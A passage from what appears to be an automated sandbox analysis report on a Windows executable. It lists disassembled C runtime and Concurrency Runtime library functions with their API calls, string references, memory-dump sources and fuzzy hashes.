Instruction Fuzzy Hash: 8681F131A05A269FCB18CFA8DC905BDB7F3BF99315B24402DD845E7A41D770ADA0CBA0

Function 0017F35F Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0017F3A3

Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EF59
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EF6B
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EF7D
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EF8F
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EFA1
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EFB3
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EFC5
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EFD7
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EFE9
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017EFFB
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017F00D
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017F01F
Part of subcall function 0017EF3C: _free.LIBCMT ref: 0017F031

_free.LIBCMT ref: 0017F398

Part of subcall function 0017ADF5: HeapFree.KERNEL32(00000000,00000000,?,0017F0CD,?,00000000,?,?,?,0017F0F4,?,00000007,?,?,0017F4F6,?), ref: 0017AE0B
Part of subcall function 0017ADF5: GetLastError.KERNEL32(?,?,0017F0CD,?,00000000,?,?,?,0017F0F4,?,00000007,?,?,0017F4F6,?,?), ref: 0017AE1D

_free.LIBCMT ref: 0017F3BA
_free.LIBCMT ref: 0017F3CF
_free.LIBCMT ref: 0017F3DA
_free.LIBCMT ref: 0017F3FC
_free.LIBCMT ref: 0017F40F
_free.LIBCMT ref: 0017F41D
_free.LIBCMT ref: 0017F428
_free.LIBCMT ref: 0017F460
_free.LIBCMT ref: 0017F467
_free.LIBCMT ref: 0017F484
_free.LIBCMT ref: 0017F49C

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 8c9658d54a3cf9fe305c745502bd961ed1f3549052a220f6d2ac5606c9e243e9
Instruction ID: 7be0b830a5b449706bc075119db5eafe19bdf9ab47a46db92705998ef1e02035
Opcode Fuzzy Hash: 8c9658d54a3cf9fe305c745502bd961ed1f3549052a220f6d2ac5606c9e243e9
Instruction Fuzzy Hash: A6312632600201DFEB31AAB9D845B5B73F8EF50352F50C42EE46ED6595DF71A982CB21

Function 0015FA71 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,00163BE6), ref: 0015FA7F
GetProcAddress.KERNEL32(00000000,SetThreadGroupAffinity), ref: 0015FA8D
GetProcAddress.KERNEL32(00000000,GetThreadGroupAffinity), ref: 0015FA9B
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumberEx), ref: 0015FAC9
GetLastError.KERNEL32(?,?,?,00163BE6), ref: 0015FAE4
GetLastError.KERNEL32(?,?,?,00163BE6), ref: 0015FAF0
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0015FB06

Strings

SetThreadGroupAffinity, xrefs: 0015FA87
kernel32.dll, xrefs: 0015FA7A
GetThreadGroupAffinity, xrefs: 0015FA93
GetCurrentProcessorNumberEx, xrefs: 0015FABE

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 1654681794-465693683
Opcode ID: 291b6a71b5581946bc1245312f9d4ae6d8ef9c41682822a939585941bc4ab972
Instruction ID: cdc10027e542edba7a6990cc4701cd292412bfcfc7f04bd0bea784d0375d1c50
Opcode Fuzzy Hash: 291b6a71b5581946bc1245312f9d4ae6d8ef9c41682822a939585941bc4ab972
Instruction Fuzzy Hash: 5301D676600312EFD7127BF5AC8AF6B3BACEB08782714042BF825D7591EB74D4888760

Function 001752A5 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 001753A0
type_info::operator==.LIBVCRUNTIME ref: 001753C7
___TypeMatch.LIBVCRUNTIME ref: 001754D3
CatchIt.LIBVCRUNTIME ref: 00175528
IsInExceptionSpec.LIBVCRUNTIME ref: 001755AE
_UnwindNestedFrames.LIBCMT ref: 00175635
CallUnexpected.LIBVCRUNTIME ref: 00175650

Strings

csm, xrefs: 001752E0
csm, xrefs: 001753FE
csm, xrefs: 0017534D

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: abd8fc97c73887e70e8a3a1b0866d99a5b618b48861ad94b915c2deba6815c8c
Instruction ID: a93de3ab3e1540366ea53bee38e26c6e3b72c127d027373015704bbf981f9f2b
Opcode Fuzzy Hash: abd8fc97c73887e70e8a3a1b0866d99a5b618b48861ad94b915c2deba6815c8c
Instruction Fuzzy Hash: D6C19C71C00609DFCF15DFA8C8809AEBBB6FF28315F14815AF8196B252D7B1DA51CB91

Function 00181ABC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00181775: CreateFileW.KERNEL32(00000000,00000000,?,00181B65,?,?,00000000,?,00181B65,00000000,0000000C), ref: 00181792

GetLastError.KERNEL32 ref: 00181BD0
__dosmaperr.LIBCMT ref: 00181BD7
GetFileType.KERNEL32(00000000), ref: 00181BE3
GetLastError.KERNEL32 ref: 00181BED
__dosmaperr.LIBCMT ref: 00181BF6
CloseHandle.KERNEL32(00000000), ref: 00181C16
CloseHandle.KERNEL32(0017AC92), ref: 00181D63
GetLastError.KERNEL32 ref: 00181D95
__dosmaperr.LIBCMT ref: 00181D9C

Strings

H, xrefs: 00181D21

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 2d9fb8ebe9e15073d66abb4e64faa3609aa5e870d464562f6fa780b5a1ff1dfb
Instruction ID: 925c6638552893b190c893fb5bcfa818a163d063e1a70a695c1627b9ff075efa
Opcode Fuzzy Hash: 2d9fb8ebe9e15073d66abb4e64faa3609aa5e870d464562f6fa780b5a1ff1dfb
Instruction Fuzzy Hash: C8A10633A04144AFCF19AF68DC91BAD3BB5AB06320F284259F816AB2D1D7758E53CB51

Function 00172970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00172982

Part of subcall function 001724E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00172504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001729A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001729B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001729FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00172AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00172AD8

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 308b985487a3e0e1d53408e14ebcca179edf24f321dceb0970012b63287dca49
Instruction ID: e130050d29df86dd60bc290685abbc5d5ba0f34344be383099996bd94dab6c1f
Opcode Fuzzy Hash: 308b985487a3e0e1d53408e14ebcca179edf24f321dceb0970012b63287dca49
Instruction Fuzzy Hash: B171BD30900249AFDF15CFA4C881BBEBBB6AF55304F048099EC496B292C772DD17DB61

Function 001669DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00166A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00166A51
List.LIBCONCRT ref: 00166A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00166A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00166AB9
List.LIBCONCRT ref: 00166AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00166B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00166B20
List.LIBCONCRT ref: 00166B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00166B68

Part of subcall function 00165EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00165EF7
Part of subcall function 00165EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00165F09

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction ID: 6c8bf984a72f4c904d9766a76cc952f693730020eb8bfcf055edcf22734e2351
Opcode Fuzzy Hash: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction Fuzzy Hash: 9A515F75A00209EFDF08DFA4C995BEDB3A8BF18304F054169E915EB282DB34AE55CBD0

Function 0017A559 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0017A56F

Part of subcall function 0017ADF5: HeapFree.KERNEL32(00000000,00000000,?,0017F0CD,?,00000000,?,?,?,0017F0F4,?,00000007,?,?,0017F4F6,?), ref: 0017AE0B
Part of subcall function 0017ADF5: GetLastError.KERNEL32(?,?,0017F0CD,?,00000000,?,?,?,0017F0F4,?,00000007,?,?,0017F4F6,?,?), ref: 0017AE1D

_free.LIBCMT ref: 0017A57B
_free.LIBCMT ref: 0017A586
_free.LIBCMT ref: 0017A591
_free.LIBCMT ref: 0017A59C
_free.LIBCMT ref: 0017A5A7
_free.LIBCMT ref: 0017A5B2
_free.LIBCMT ref: 0017A5BD
_free.LIBCMT ref: 0017A5C8
_free.LIBCMT ref: 0017A5D6

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 15b10b9e098bb9c1281d37945c053bb3a6698bc4c15eba7f07c0a958befae71a
Instruction ID: 0fbaa6f83f6bf85084f812e532beb071578b14e5a78f48b7cc9016495b6949be
Opcode Fuzzy Hash: 15b10b9e098bb9c1281d37945c053bb3a6698bc4c15eba7f07c0a958befae71a
Instruction Fuzzy Hash: 8F219876900108EFCB51EF98C881DDE7BB9BF58341B408166F5199B521DB31DB848B81

Function 00167364 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001673B0
SwitchToThread.KERNEL32(?), ref: 001673D3
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001673F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0016740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00167419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00167440

Strings

count, xrefs: 0016737E
ppVirtualProcessorRoots, xrefs: 00167438

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3791123369-3650809737
Opcode ID: c3fb289a753fb8ec47e7d584c00276d3cf334a9657125ff64a03101831a688b9
Instruction ID: 82f040cd59f242088c762e0601ea661321ce2ef27941b95812bc955ef7bc4179
Opcode Fuzzy Hash: c3fb289a753fb8ec47e7d584c00276d3cf334a9657125ff64a03101831a688b9
Instruction Fuzzy Hash: C3217134A00209EFCF14EFA9C8959BDBBB5BF19315F1440A9E805A7391DB30AE54CF90

Function 00166E1C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00166E36
GetCurrentProcess.KERNEL32 ref: 00166E3E
DuplicateHandle.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00000000,00000002), ref: 00166E53
SafeRWList.LIBCONCRT ref: 00166E73

Part of subcall function 00164E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00164E7F
Part of subcall function 00164E6E: List.LIBCMT ref: 00164E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00166E85
GetLastError.KERNEL32 ref: 00166E94
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00166EAA

Strings

eventObject, xrefs: 00166E7D

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorHandleLastLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 165577817-1680012138
Opcode ID: 4a7cc1a3f21c48cbaff165d6707e6898a5a4d41c481be164206e2ad07a6efe40
Instruction ID: 111ee3570d639ffbf9ce90223d9094db33452ab2e4244ac8dd9481a5380b6f9b
Opcode Fuzzy Hash: 4a7cc1a3f21c48cbaff165d6707e6898a5a4d41c481be164206e2ad07a6efe40
Instruction Fuzzy Hash: 53112139500204EBDF14EBA4CD8AFEE3BB8AF08301F204126F419E60D1DB34AA48CB60

Function 001856D2 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b870e5826d8fc768d65e5b2a17efd5cf667dd55fdb527610aef4f83ef67fd252
Instruction ID: e54577322364e5b3bbd8bea71702fe63c81d7847ba5eae0ab1d201f25f3daed9
Opcode Fuzzy Hash: b870e5826d8fc768d65e5b2a17efd5cf667dd55fdb527610aef4f83ef67fd252
Instruction Fuzzy Hash: C5C11070E04A49DFDF15EF98C980BADBBB2EF59314F148159E815AB292D7709E81CF20

Function 001678E1 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00167903

Part of subcall function 00165CB8: __EH_prolog3_catch.LIBCMT ref: 00165CBF
Part of subcall function 00165CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00165CF8

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 00167911

Part of subcall function 0016691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00166942
Part of subcall function 0016691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00166965

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0016792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00167936

Part of subcall function 00165CB8: RtlInterlockedPopEntrySList.NTDLL(?), ref: 00165D41
Part of subcall function 00165CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00165D70
Part of subcall function 00165CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00165D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00167982
Concurrency::location::_Assign.LIBCMT ref: 001679A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 001679AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001679BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 001679ED

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 3c96d016e30f1d0f5aa8f65977c4e9c62c61fe7e1cca21a601b249a941d8f4e1
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 43314730B08251AEDF16AA784C927FEB7F69F6132CF0401A9D885D72C2DB244D1AC391

Function 00170985 Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0017099B
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00165CAE,?), ref: 001709AD
GetCurrentThread.KERNEL32 ref: 001709B5
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00165CAE,?), ref: 001709BD
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,00165CAE,?), ref: 001709D6
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 001709F7

Part of subcall function 00160211: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 0016022B

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00165CAE,?), ref: 00170A09
GetLastError.KERNEL32(?,?,?,?,?,00165CAE,?), ref: 00170A34
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00170A4A

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: 7edbdee47a1a0f42a80eb0e0d5b3f07c37214ce50aff4b4a82afef2c3b13b0d3
Instruction ID: 9444fc648ce0be74ae1a79112b9c6e30be1401a32f4dd4ee43b755013d6874e0
Opcode Fuzzy Hash: 7edbdee47a1a0f42a80eb0e0d5b3f07c37214ce50aff4b4a82afef2c3b13b0d3
Instruction Fuzzy Hash: EE119075600305EFD712ABB49D4AB9A7BB8AF1D740F084076F949E6152EB70C9448761

Function 0014B9F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 130comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0014BA57
CoCreateInstance.COMBASE(00198F80,00000000,00000001,00198F90,?), ref: 0014BA73
CoUninitialize.COMBASE ref: 0014BA81
CoUninitialize.COMBASE ref: 0014BB40
CoUninitialize.COMBASE ref: 0014BB54

Strings

stoi argument out of range, xrefs: 0014E4EA
invalid stoi argument, xrefs: 0014E4F4

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
